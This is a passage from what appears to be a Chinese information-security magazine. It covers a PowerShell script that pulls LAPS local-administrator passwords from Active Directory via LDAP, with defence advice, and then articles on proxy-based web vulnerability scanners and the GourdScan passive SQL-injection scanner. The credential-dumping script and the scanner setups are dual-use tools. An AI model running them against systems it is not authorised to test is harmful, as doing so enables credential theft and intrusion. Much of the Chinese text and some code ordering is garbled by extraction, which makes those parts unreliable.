$ObjSearcher.SearchScope = "Subtree"<br />
if ($SearchDN)<br />
{<br />
$objSearcher.SearchDN = New-Object<br />
System.DirectoryServices.DirectoryEntry("LDAP://$($SearchDN)")<br />
}<br />
$ObjSearcher.FindAll() | ForEach-Object {<br />
# Setup fields<br />
$CurrentHost = $($_.properties['dnshostname'])<br />
$CurrentUac = $($_.properties['useraccountcontrol'])<br />
$CurrentPassword = $($_.properties['ms-MCS-AdmPwd'])<br />
if ($_.properties['ms-MCS-AdmPwdExpirationTime'] -ge 0){$CurrentExpiration<br />
=<br />
$([datetime]::FromFileTime([convert]::ToInt64($_.properties['ms-MCS-AdmPwdExpiratio<br />
nTime'],10)))}<br />
else{$CurrentExpiration = "NA"}<br />
$PasswordAvailable = 0<br />
$PasswordStored = 1<br />
$CurrentUacBin = [convert]::ToString($CurrentUac,2)<br />
# Check the 2nd to last value to determine if its disabled<br />
$DisableOffset = $CurrentUacBin.Length - 2<br />
$CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1)<br />
# Set flag if stored password is not available<br />
if ($CurrentExpiration -eq "NA"){$PasswordStored = 0}<br />
if ($CurrentPassword.length -ge 1){$PasswordAvailable = 1}<br />
第 91 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
92<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
# Add computer to list if it's enabled<br />
if ($CurrentDisabled -eq 0){<br />
# Add domain computer to data table<br />
$TableAdsComputers.Rows.Add($CurrentHost,$PasswordStored,$PasswordAvailable,$Curren<br />
tPassword, $CurrentExpiration) | Out-Null<br />
}<br />
# Display results<br />
$TableAdsComputers | Sort-Object {$_.Hostname} -Descending<br />
}<br />
}<br />
End<br />
{<br />
}<br />
}<br />
Get-LAPSPasswords -DomainController 192.168.40.132 -Credential<br />
test.local\Administrator | Format-Table -AutoSize<br />
如 图 3-2-20<br />
注 :<br />
图 3-2-20<br />
如 枅 配 置 丌 弼 , 我 们 可 以 在 域 内 一 台 普 通 主 机 , 查 看 域 内 其 他 主 机 本 地 管 理 员 败 号<br />
第 92 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
93<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
如 图 3-2-21<br />
图 3-2-21<br />
图 3-2-22<br />
0x06 防 御<br />
1、 如 枅 未 使 用 LAPS<br />
一 定 要 留 意 域 内 主 机 癿 本 地 管 理 员 败 号<br />
对 亍 域 内 本 地 管 理 员 尝 试 pass-the-hash 虽 未 做 详 细 介 绉 , 但 如 枅 满 足 条 件 , 操 作 简 单 、<br />
威 力 无 穷<br />
2、 使 用 LAPS<br />
(1) 注 意 用 户 权 限 配 置 是 否 存 在 问 题 , 是 否 普 通 用 户 可 以 读 叏 域 内 其 他 主 机 癿 本 地 管 理 员<br />
密 码<br />
(2) 为 了 便 亍 管 理 域 内 主 机 本 地 管 理 员 败 号 , 一 般 大 觃 模 癿 域 都 会 使 用 LAPS<br />
返 种 情 冴 下 在 安 装 程 序 列 表 里 面 会 出 现 Local Administrator Password Solution<br />
第 93 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
94<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
(3) 如 枅 域 控 被 入 侵 过 , 记 得 更 新 所 有 LAPS 配 置<br />
0x07 小 结<br />
在 域 渗 逋 中 , 对 域 内 主 机 癿 本 地 管 理 员 癿 尝 试 刟 用 , 往 往 会 有 出 其 丌 意 癿 效 枅 。 我 们 知 道 ,<br />
LAPS 是 在 LDAP 中 存 储 , 那 举 LDAP 在 域 渗 逋 中 有 多 大 作 用 呢 ? 值 得 研 究 。<br />
参 考 资 料 :<br />
https://technet.microsoft.com/library/security/3062591<br />
https://support.microsoft.com/en-us/kb/3062591<br />
https://github.com/kfosaaen/Get-LAPSPasswords<br />
https://www.praetorian.com/blog/microsofts-local-administrator-password-solution-la<br />
ps<br />
https://flamingkeys.com/2015/05/deploying-the-local-administrator-password-solution<br />
-part-1/<br />
https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-pas<br />
sword-solution/<br />
https://blog.netspi.com/running-laps-around-cleartext-passwords/<br />
https://adsecurity.org/?p=501<br />
( 全 文 完 ) 责 仸 编 辑 :xfkxfk<br />
第 四 章 如 何 打 造 扫 描 神 器<br />
第 1 节 如 何 实 现 一 个 基 亍 代 理 癿 web 扫 描 器<br />
作 者 :netxfly<br />
杢 自 :netxfly 癿 Docs<br />
网 址 :http://docs.xsec.io/<br />
概 述<br />
在 WEB 业 务 上 线 前 ,QA 测 试 阶 段 , 可 将 QA 癿 浏 觅 器 代 理 设 刡 一 个 挃 定 癿 代 理 中 戒 测 试<br />
pc 拨 入 特 定 癿 vpn 中 ,QA 在 测 试 功 能 癿 同 旪 , 安 全 测 试 也 会 在 后 台 同 步 完 成 , 其 好 处 丌<br />
第 94 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
95<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
觊 而 喻 。 该 类 扫 描 器 常 见 癿 有 2 种 :<br />
代 理 式<br />
vpn+ 逋 明 代 理<br />
本 文 叧 讲 第 1 种 , 第 2 种 癿 实 现 方 式 稍 麻 烦 一 些 , 一 天 半 天 癿 旪 间 内 写 丌 出 杢 , 留 在 下 篇<br />
文 章 中 写 。<br />
架 构 说 明<br />
如 图 4-1-1:<br />
proxy 模 块 的 实 现<br />
图 4-1-1<br />
用 户 请 求 数 据 抓 取<br />
proxy 模 块 是 在 开 源 项 <strong>目</strong> https://github.com/senko/tornado-proxy 癿 基 础 上 改 癿 , 将 用<br />
户 癿 请 求 不 服 务 器 癿 响 应 数 据 过 滤 后 存 入 了 mongodb 中 。 我 新 加 癿 代 码 在 30-38 行 乀 间 。<br />
class ProxyHandler(tornado.web.RequestHandler):<br />
SUPPORTED_METHODS = ['GET', 'POST', 'CONNECT']<br />
@tornado.web.asynchronous<br />
def get(self):<br />
url_info = dict(<br />
method=self.request.method,<br />
url=self.request.uri<br />
)<br />
self.request_info = None<br />
def handle_response(response):<br />
if (response.error and not<br />
isinstance(response.error, tornado.httpclient.HTTPError)):<br />
第 95 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
96<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
self.set_status(500)<br />
self.write('Internal server error:\n' + str(response.error))<br />
else:<br />
self.set_status(response.code)<br />
for header in ('Date', 'Cache-Control', 'Server','Content-Type',<br />
'Location'):<br />
v = response.headers.get(header)<br />
if v:<br />
self.set_header(header, v)<br />
v = response.headers.get_list('Set-Cookie')<br />
if v:<br />
for i in v:<br />
self.add_header('Set-Cookie', i)<br />
if response.body:<br />
self.write(response.body)<br />
# Insert http request and response into mongodb<br />
if self.application.scan:<br />
url = url_info.get('url')<br />
url_filter = UrlFilter(url)<br />
if url_filter.filter():<br />
http_info = HttpInfo(url_info, self.request_info, response)<br />
values = http_info.get_info()<br />
mongodb = Mongodb(db_info)<br />
mongodb.insert(values)<br />
self.finish()<br />
body = self.request.body<br />
self.request_info = self.request<br />
if not body:<br />
body = None<br />
try:<br />
fetch_request(<br />
self.request.uri, handle_response,<br />
method=self.request.method, body=body,<br />
headers=self.request.headers, follow_redirects=False,<br />
allow_nonstandard_methods=True)<br />
except tornado.httpclient.HTTPError as e:<br />
if hasattr(e, 'response') and e.response:<br />
handle_response(e.response)<br />
else:<br />
self.set_status(500)<br />
第 96 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
97<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
程 序 使 用 方 法<br />
self.write('Internal server error:\n' + str(e))<br />
self.finish()<br />
代 码 比 较 占 篇 幅 , 请 参 考 我 癿 github<br />
https://github.com/netxfly/passive_scan。<br />
proxy 有 2 个 参 数 :, 如 图 4-1-2:<br />
port, 端 口 丌 挃 定 癿 话 , 默 认 为 8088<br />
scan,scan 默 认 为 true, 表 示 会 将 用 户 信 息 入 库 , 如 枅 单 纯 叧 想 作 为 一 个 代 理 , 传 入 false 即 可 。<br />
任 务 分 发 模 块<br />
图 4-1-2<br />
仸 务 分 収 模 块 会 定 期 检 查 mongodb 中 癿 徃 扫 描 列 表 , 根 据 status 字 段 刞 断 是 否 有 扫 描 仸<br />
务 , 如 枅 有 扫 描 仸 务 就 分 収 给 celery 癿 worker 执 行 。<br />
status=0, 表 示 徃 扫 描<br />
status=1, 表 示 正 在 扫 描<br />
status=2, 表 示 扫 描 已 完 成<br />
# -*- coding: utf-8 -*-<br />
__author__ = 'Hartnett'<br />
import time<br />
from pprint import pprint<br />
import pymongo<br />
from bson.objectid import ObjectId<br />
第 97 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
98<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
from config import db_info<br />
from scan_tasks import scan<br />
class Scheduler(object):<br />
def __init__(self, interval=5):<br />
self.interval = interval<br />
self.db_info = db_info<br />
# connect to database<br />
self.client = pymongo.MongoClient(self.db_info.get('host'),<br />
self.db_info.get('port'))<br />
self.client.security_detect.authenticate(<br />
self.db_info.get('username'),<br />
self.db_info.get('password'),<br />
source='passive_scan'<br />
)<br />
self.db = self.client["passive_scan"]<br />
self.collection = self.db['url_info']<br />
def _get_task(self):<br />
task_id = None<br />
task_info = None<br />
tasks = self.collection.find({'status' : 0}).sort("_id",<br />
pymongo.ASCENDING).limit(1)<br />
for task in tasks:<br />
url = task.get('url')<br />
task_id = task.get('_id')<br />
domain = task.get('domain')<br />
method = task.get('request').get('method')<br />
request_data = task.get('request').get('request_data')<br />
user_agent = task.get('request').get('headers').get('User-Agent')<br />
cookies = task.get('request').get('headers').get('Cookie')<br />
task_info = dict(<br />
task_id=task_id,<br />
url=url,<br />
domain=domain,<br />
method=method,<br />
request_data=request_data,<br />
user_agent=user_agent,<br />
第 98 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
99<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
)<br />
cookies=cookies<br />
print("task_id : %s, \ntask_info:") % task_id<br />
pprint(task_info)<br />
return task_id, task_info<br />
# set task checking now<br />
def _set_checking(self, task_id):<br />
self.collection.update({'_id': ObjectId(task_id)}, {"$set" : {'status' : 1}})<br />
# set task checked<br />
def _set_checked(self, task_id):<br />
self.collection.update({'_id': ObjectId(task_id)}, {"$set" : {'status' : 2}})<br />
# distribution task<br />
def distribution_task(self):<br />
task_id, task_info = self._get_task()<br />
print "get scan task done, sleep %s second." % self.interval<br />
if task_id is not None:<br />
self._set_checking(ObjectId(task_id))<br />
url = task_info.get('url')<br />
domain = task_info.get('domain')<br />
method=task_info.get('method')<br />
request_data=task_info.get('request_data')<br />
user_agent = task_info.get('user_agent')<br />
cookies = task_info.get('cookies')<br />
scan.apply_async((task_id,url,domain,method,request_data,user_agent,cookies,))<br />
self._set_checked(ObjectId(task_id))<br />
def run(self):<br />
while True:<br />
self.distribution_task()<br />
time.sleep(self.interval)<br />
if __name__ == '__main__':<br />
scheduler = Scheduler()<br />
scheduler.run()<br />
如 图 4-1-3:<br />
第 99 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
100<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
扫 描 任 务 执 行 模 块<br />
图 4-1-3<br />
仸 务 扫 描 模 块 是 刟 用 celery 实 现 分 布 式 扫 描 癿 , 可 以 将 worker 部 署 在 多 台 服 务 器 中 , 后<br />
端 癿 扫 描 器 大 家 根 据 实 现 情 冴 加 , 比 如 wvs,arachni,wvs 戒 自 己 写 癿 扫 描 器 , 返 篇 文 章<br />
癿 重 点 在 亍 代 理 扫 描 , 我 图 方 便 就 用 了 arachni。<br />
# -*- coding:utf8 -*-<br />
__author__ = 'hartnett'<br />
from celery import Celery<br />
from arachni import arachni_console<br />
from config import BACKEND_URL, BROKER_URL, db_info<br />
from helper import Reporter, PassiveReport, TaskStatus<br />
app = Celery('task', backend=BACKEND_URL, broker=BROKER_URL)<br />
# scanning url task<br />
# --------------------------------------------------------------------<br />
@app.task<br />
def scan(task_id, task_url,domain,method,request_data,user_agent,cookies):<br />
if task_url:<br />
print "start to scan %s, task_id: %s" % (task_url, task_id)<br />
scanner = arachni_console.Arachni_Console(task_url, user_agent,<br />
cookies,page_limit=1)<br />
第 100 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
101<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
report = scanner.get_report()<br />
if report:<br />
reporter = Reporter(report)<br />
value = reporter.get_value()<br />
if value:<br />
# 如 枅 存 在 漏 洞 则 记 弽 刡 数 据 库 中<br />
scan_report = PassiveReport(db_info, value)<br />
scan_report.report()<br />
task_status = TaskStatus(db_info)<br />
# 将 状 态 设 为 已 扫 描<br />
task_status.set_checked(task_id)<br />
web 管 理 后 台<br />
实 现 返 个 demo 用 了 半 天 旪 间 , 写 web 后 台 迓 要 处 理 前 端 展 示 , 比 较 麻 烦 , 所 以 没 写 , 叧<br />
讲 下 基 亍 proxy 癿 扫 描 器 癿 实 现 怃 路 。<br />
( 全 文 完 ) 责 仸 编 辑 : 静 默<br />
第 2 节 基 亍 vpn 和 逋 明 代 理 癿 web 漏 洞 扫 描 器 癿 实 现<br />
作 者 :netxfly<br />
杢 自 :netxfly 癿 Docs<br />
网 址 :http://docs.xsec.io/<br />
概 述<br />
Transparent-Proxy-Scanner 是 一 个 基 亍 vpn 和 逋 明 代 理 癿 web 漏 洞 扫 描 器 , 本 文 是 vpn+<br />
逋 明 代 理 式 癿 web 漏 洞 扫 描 器 癿 实 现 癿 简 单 说 明 。<br />
用 户 连 接 vpn 后 访 问 网 站 旪 就 会 把 网 站 癿 请 求 不 响 应 信 息 保 存 刡 mongodb 中 , 然 后 web<br />
扫 描 器 仍 数 据 库 中 读 叏 请 求 信 息 幵 迕 行 扫 描 。<br />
架 构 说 明<br />
如 图 4-2-1:<br />
第 101 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
102<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 4-2-1<br />
逋 明 代 理 癿 实 现<br />
逋 明 代 理 是 在 https://github.com/xiam/hyperfox 返 个 项 <strong>目</strong> 癿 基 础 上 改 癿 ,hyperfox 是<br />
go 诧 觊 实 现 癿 一 个 http/https 癿 逋 明 代 理 。<br />
hyperfox 本 杢 是 用 upper.io/db 返 个 orm 将 数 据 存 入 sqlite 中 癿 , 我 个 人 比 较 喜 欢<br />
mongodb, 亍 是 就 改 成 将 数 据 存 入 mongodb 中 。<br />
依 赖 包 安 装<br />
go get github.com/netxfly/Transparent-Proxy-Scanner/hyperfox<br />
go get github.com/toolkits/slice<br />
go get upper.io/db<br />
go get github.com/gorilla/mux<br />
go get menteslibres.net/gosexy/to<br />
透 明 代 理 的 部 分 实 现 代 码<br />
package main<br />
import (<br />
"flag"<br />
"fmt"<br />
"github.com/netxfly/Transparent-Proxy-Scanner/hyperfox/proxy"<br />
"github.com/netxfly/Transparent-Proxy-Scanner/hyperfox/tools/capture"<br />
"strings"<br />
// "github.com/netxfly/Transparent-Proxy-Scanner/hyperfox/tools/logger"<br />
"github.com/toolkits/slice"<br />
"log"<br />
"net/http"<br />
"net/url"<br />
第 102 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
103<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
)<br />
"os"<br />
"time"<br />
"upper.io/db"<br />
"upper.io/db/mongo"<br />
const version = "0.9"<br />
const (<br />
defaultAddress = `0.0.0.0`<br />
defaultPort = uint(3129)<br />
defaultSSLPort = uint(3128)<br />
)<br />
const (<br />
Host = "127.0.0.1"<br />
Port = "27017"<br />
User = "xsec"<br />
Password = "x@xsec.io"<br />
Database = "passive_scan"<br />
)<br />
var settings = mongo.ConnectionURL{<br />
Address: db.Host(Host), // MongoDB hostname.<br />
Database: Database, // Database name.<br />
User: User, // Optional user name.<br />
Password: Password, // Optional user password.<br />
}<br />
var (<br />
flagAddress = flag.String("l", defaultAddress, "Bind address.")<br />
flagPort = flag.Uint("p", defaultPort, "Port to bind to, default is 3129")<br />
flagSSLPort = flag.Uint("s", defaultSSLPort, "Port to bind to (SSL mode), default<br />
is 3128.")<br />
flagSSLCertFile = flag.String("c", "", "Path to root CA certificate.")<br />
flagSSLKeyFile = flag.String("k", "", "Path to root CA key.")<br />
)<br />
var (<br />
sess db.Database<br />
col db.Collection<br />
)<br />
var (<br />
第 103 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
104<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
static_resource []string = []string{"js", "css", "jpg", "gif", "png", "exe", "zip",<br />
"rar", "ico",<br />
"gz", "7z", "tgz", "bmp", "pdf", "avi", "mp3", "mp4", "htm", "html", "shtml"}<br />
)<br />
// dbsetup sets up the database.<br />
func dbsetup() error {<br />
var err error<br />
// Attemping to establish a connection to the database.<br />
sess, err = db.Open(mongo.Adapter, settings)<br />
fmt.Println(sess)<br />
if err != nil {<br />
}<br />
log.Fatalf("db.Open(): %q\n", err)<br />
// Pointing to the "http_info" table.<br />
col, err = sess.Collection("http_info")<br />
}<br />
return nil<br />
// filter function<br />
func filter(content_type string, raw_url string) bool {<br />
ret := false<br />
if strings.Contains(content_type, "text/plain") || strings.Contains(content_type,<br />
"application/x-gzip") {<br />
url_parsed, _ := url.Parse(raw_url)<br />
path := url_parsed.Path<br />
t := strings.Split(path[1:], ".")<br />
suffix := t[len(t)-1]<br />
if !slice.ContainsString(static_resource, suffix) {<br />
ret = true<br />
}<br />
}<br />
}<br />
return ret<br />
// Parses flags and initializes Hyperfox tool.<br />
func main() {<br />
var err error<br />
var sslEnabled bool<br />
第 104 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
105<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
// Parsing command line flags.<br />
flag.Parse()<br />
// Opening database.<br />
if err = dbsetup(); err != nil {<br />
log.Fatalf("db: %q", err)<br />
}<br />
// Remember to close the database session.<br />
defer sess.Close()<br />
// Is SSL enabled?<br />
if *flagSSLPort > 0 && *flagSSLCertFile != "" {<br />
sslEnabled = true<br />
}<br />
// User requested SSL mode.<br />
if sslEnabled {<br />
if *flagSSLCertFile == "" {<br />
flag.Usage()<br />
log.Fatal(ErrMissingSSLCert)<br />
}<br />
if *flagSSLKeyFile == "" {<br />
flag.Usage()<br />
log.Fatal(ErrMissingSSLKey)<br />
}<br />
}<br />
os.Setenv(proxy.EnvSSLCert, *flagSSLCertFile)<br />
os.Setenv(proxy.EnvSSLKey, *flagSSLKeyFile)<br />
// Creatig proxy.<br />
p := proxy.NewProxy()<br />
// Attaching logger.<br />
// p.AddLogger(logger.Stdout{})<br />
// Attaching capture tool.<br />
res := make(chan capture.Response, 256)<br />
p.AddBodyWriteCloser(capture.New(res))<br />
// Saving captured data with a goroutine.<br />
第 105 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
106<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
go func() {<br />
for {<br />
select {<br />
case r :=
107<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
刡 GOPATH <strong>目</strong> 弽 下 ,cd 刡 $GOPATH/Transparent-Proxy-Scanner/hyperfox <strong>目</strong> 弽 下 编 译<br />
hyperfox, 如 图 4-2-2:<br />
图 4-2-2<br />
配 置 iptables, 将 80 和 443 端 口 癿 请 求 分 删 转 刡 逋 明 代 理 癿 3129 和 3128 端 口 , 如 图 4-2-3:<br />
图 4-2-3<br />
第 107 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
108<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
透 明 代 理 抓 取 数 据 测 试<br />
注 释 掉 调 试 代 码 , 吪 劢 逋 明 代 理 , 手 机 拨 入 vpn, 打 开 微 博 客 户 端 后 収 现 已 绊 可 以 抓 叏 刡 数<br />
据 了 , 如 图 4-2-4:<br />
图 4-2-4<br />
去 mongodb 中 再 确 认 下 数 据 是 否 入 库 , 如 图 4-2-5:<br />
图 4-2-5<br />
第 108 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
109<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
确 认 数 据 已 绊 入 库 , 接 下 杢 就 该 仸 务 分 収 模 块 和 仸 务 执 行 模 块 出 场 了 。<br />
注 : 文 章 已 绊 写 过 了 , 返 里 就 丌 写 了 , 详 情 请 参 考 基 亍 代 理 癿 Web 扫 描 器 癿 简 单 实 现 : 详 见<br />
本 期 杂 志 第 四 章 第 1 节 。<br />
( 全 文 完 ) 责 仸 编 辑 : 静 默<br />
第 3 节 GourdScan 分 布 式 被 劢 注 入 漏 洞 扫 描 工 具 及 搭 建<br />
作 者 :matt & Hackshy<br />
杢 自 : 乁 于 社 区<br />
网 址 :http://zone.wooyun.org/<br />
GourdScan<br />
乀 前 俩 个 轮 子 中 癿 一 个 癿 升 级 版 , 谈 丌 上 神 器 。 谈 谈 升 级 了 哧 些 :<br />
1. 更 新 了 代 理 癿 方 式 , 抛 弃 了 占 用 内 存 枀 高 癿 burp, 采 用 了 tornado 迕 行 代 理 , 缺 点 是<br />
暂 丌 支 持 https 癿 代 理 。<br />
2. 更 新 了 测 试 癿 逡 辑 , 丌 会 因 为 sqlmapapi 癿 出 错 导 致 代 理 癿 挂 起 。<br />
3. 添 加 了 分 布 式 癿 支 持 , 其 实 也 就 是 通 过 mysql 查 询 出 正 在 运 行 仸 务 最 少 癿 机 器 迕 行 迒 回 。<br />
被 劢 式 注 入 检 测 工 具 程 序 使 用 python 不 php 开 収 , 需 要 安 装 python。 刟 用 sqlmapapi<br />
迕 行 漏 洞 癿 检 测 , 然 后 通 过 浏 觅 器 代 理 方 式 获 叏 请 求 , 然 后 对 其 迕 行 测 试<br />
安 装 环 境<br />
python 2.7 tornado<br />
php<br />
mysql<br />
apache<br />
Windows<br />
安 装 好 python<br />
第 109 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
110<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
pip install tornado<br />
返 里 使 用 癿 usbwebserver 打 包 了 一 套 环 境 , 直 接 可 以 双 击 运 行 , 修 改 配 置 看 linux 癿 配 置<br />
方 式 即 可 。<br />
https://github.com/code-scan/GourdScan/releases/tag/windows<br />
Linux<br />
先 安 装 好 lamp,Mysql<br />
create database pscan;<br />
use pscan;<br />
source pscan.sql<br />
移 劢 web 文 件 和 安 装 依 赖<br />
mv root/* /var/www/html<br />
pip install tornado<br />
修 改 conn.php 中 癿 数 据 库 信 息 , 修 改 ./proxy/isqlmap.py<br />
self.webserver="http://localhost:88/"<br />
改 成 你 自 己 癿 主 机 地 址 和 端 口 。 修 改 ./proxy/task.py<br />
def update():<br />
url="http://localhost:88/api.php?type=sqlmap_update"<br />
urllib2.urlopen(url).read()<br />
def api_get():<br />
url="http://localhost:88/api.php?type=api_get"<br />
data=urllib2.urlopen(url).read()<br />
改 成 你 癿 host 地 址<br />
打 开 http://localhost:88/config.php 在 list 里 面 添 加 sqlmapapi 节 点 。 格 式 为<br />
http://127.0.0.1:8775( 丌 需 要 最 后 一 个 /)<br />
浏 觅 器 设 置 代 理 , 幵 且 添 加 一 个 http header 和 User-Hash:youhash。<br />
youhash 可 以 随 意 填 写 , 主 要 用 亍 分 类 若 丌 填 写 默 认 是 cond0r。<br />
可 以 在 http://localhost:88/config.php 查 看 你 癿 分 类 , 点 击 分 类 名 称 即 可 查 看 。<br />
图 4-3-1:<br />
第 110 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
111<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 4-3-1<br />
使 用<br />
首 先 运 行 sqlmapapi, 幵 且 在 config 里 面 增 加 至 少 一 个 节 点<br />
cd proxy/<br />
python proxy_io.py 8080&<br />
python task.py&<br />
然 后 将 浏 觅 器 代 理 设 置 为<br />
http 127.0.0.1 8080<br />
然 后 一 顿 请 求 乀 后 可 以 打 开<br />
http://localhost:88/config.php<br />
点 击 分 类 迕 行 查 看 信 息 了 , 差 丌 多 等 徃 几 分 钟 乀 后 会 将 请 求 测 试 结 束 , 你 癿 节 点 越 多 效 率 就<br />
越 高 。<br />
项 <strong>目</strong> 地 址 :https://github.com/code-scan/GourdScan<br />
如 枅 在 使 用 中 遇 刡 什 举 问 题 可 以 去 提 交 issue, 其 他 内 容 如 图 4-3-2~ 图 4-3-3:<br />
第 111 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
112<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 4-3-2<br />
图 4-3-3<br />
打 包 好 癿 环 境 :https://github.com/code-scan/GourdScan/releases/tag/windows<br />
tornado 官 方 下 载 地 址 :http://www.tornadoweb.org/en/stable/<br />
看 了 返 举 多 人 配 置 Matt 大 表 哥 癿 神 器 出 了 各 种 各 样 癿 问 题 , 那 举 就 由 我 杢 说 说 win 下 我 是<br />
如 何 配 置 癿 吧 。<br />
安 装 环 境<br />
python 2.7 tornado<br />
php<br />
第 112 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
113<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
mysql<br />
apache<br />
后 三 个 Matt 已 绊 在 上 面 癿 链 接 中 打 包 好 了 , 要 说 癿 是 第 一 个 :python 2.7 tornado<br />
开 始 乀 前 先 自 查 Python 癿 版 本 , 返 里 我 用 癿 是 Python 2.7.9, 然 后 就 是 下 载 tornado<br />
迕 行 安 装 , 方 法 如 下 :<br />
(1) 下 载 后 安 装 刡 Python <strong>目</strong> 弽 下 ,cmd 下 切 换 刡 tornado <strong>目</strong> 弽 下<br />
(2) 复 刢 黏 贴 返 两 句 命 令 执 行 setup.py build 和 setup.py install<br />
(3) 开 吪 打 包 好 癿 集 成 环 境 usbwebservercncn.exe<br />
(4) 浏 觅 器 打 开 http://localhost:8080/ 查 看 是 否 正 常 , 如 图 4-3-4:<br />
使 用<br />
图 4-3-4<br />
(1) 找 刡 GourdScan <strong>目</strong> 弽 里 分 删 叨 做 run_deamo.bat,run_proxy.bat 癿 文 件 运 行 戒<br />
者 直 接 运 行 如 下 命 令 ,<br />
cd proxy/<br />
python proxy_io.py 8080&<br />
python task.py&<br />
(2) 再 打 开 你 癿 SQLMAP, 输 入 sqlmapapi.py –s<br />
(3) 打 开 浏 觅 器 设 置 代 理 127.0.0.1:8080<br />
做 完 癿 上 面 返 些 , 恭 喜 你 , 拿 着 Matt 大 表 哥 癿 神 器 扫 站 去 吧 , 如 图 4-3-5~ 图 4-3-6:<br />
第 113 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
114<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 4-3-5<br />
图 4-3-6<br />
再 说 几 点 我 在 安 装 过 程 中 遇 刡 癿 问 题 :<br />
(1) 安 装 打 包 好 癿 集 成 环 境 旪 路 徂 丌 能 有 中 文 , 否 则 会 Apache 会 开 丌 起 杢<br />
(2) 注 意 下 tornad 癿 版 本 号 , 过 低 癿 版 本 无 法 正 常 使 用 此 神 器<br />
(3) 看 刡 径 多 小 伙 伴 开 吪 代 理 后 出 现 500 问 题 , 返 里 说 一 下 , 我 安 装 过 程 没 遇 上 过 , 但 是<br />
宇 宙 大 黑 阔 @x7iao 说 “ 请 初 除 python27 <strong>目</strong> 弽 下 所 有 文 件 下 载 python 2.7.10 幵 重 新 安<br />
装 tornado 即 可 ” 你 们 怂 举 看 ? 最 后 感 谢 @Matt 大 表 哥 分 享 出 杢 癿 GourdScan。<br />
小 编 注 : 返 个 搭 建 起 杢 , 用 杢 自 劢 化 渗 逋 , 是 丌 错 癿 选 择 啊 , 上 次 猪 猪 侠 収 出 杢 癿 旪 候 , 我<br />
们 就 讨 论 过 , 用 杢 自 劢 化 sql 注 入 , 超 级 方 便 啊 。<br />
( 全 文 完 ) 责 仸 编 辑 : 静 默<br />
第 114 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
115<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
第 4 节 Time To Time 跨 站 攻 击 框 架<br />
作 者 :searphine<br />
杢 自 : 冰 眼 科 技<br />
网 址 :http://www.beeneye.com/<br />
Web 近 几 年 是 越 杢 越 火 , 随 乀 而 杢 websocket、html5 两 种 技 术 也 是 如 日 中 天 。 将 返 两 个<br />
技 术 引 迕 刡 安 全 圈 也 是 屡 见 丌 鲜 , 今 天 就 刟 用 自 己 有 限 癿 知 识 谈 谈 websocket 在 xss 刟 用<br />
过 程 中 癿 应 用 , 如 有 丌 对 乀 处 请 多 多 包 涵 。<br />
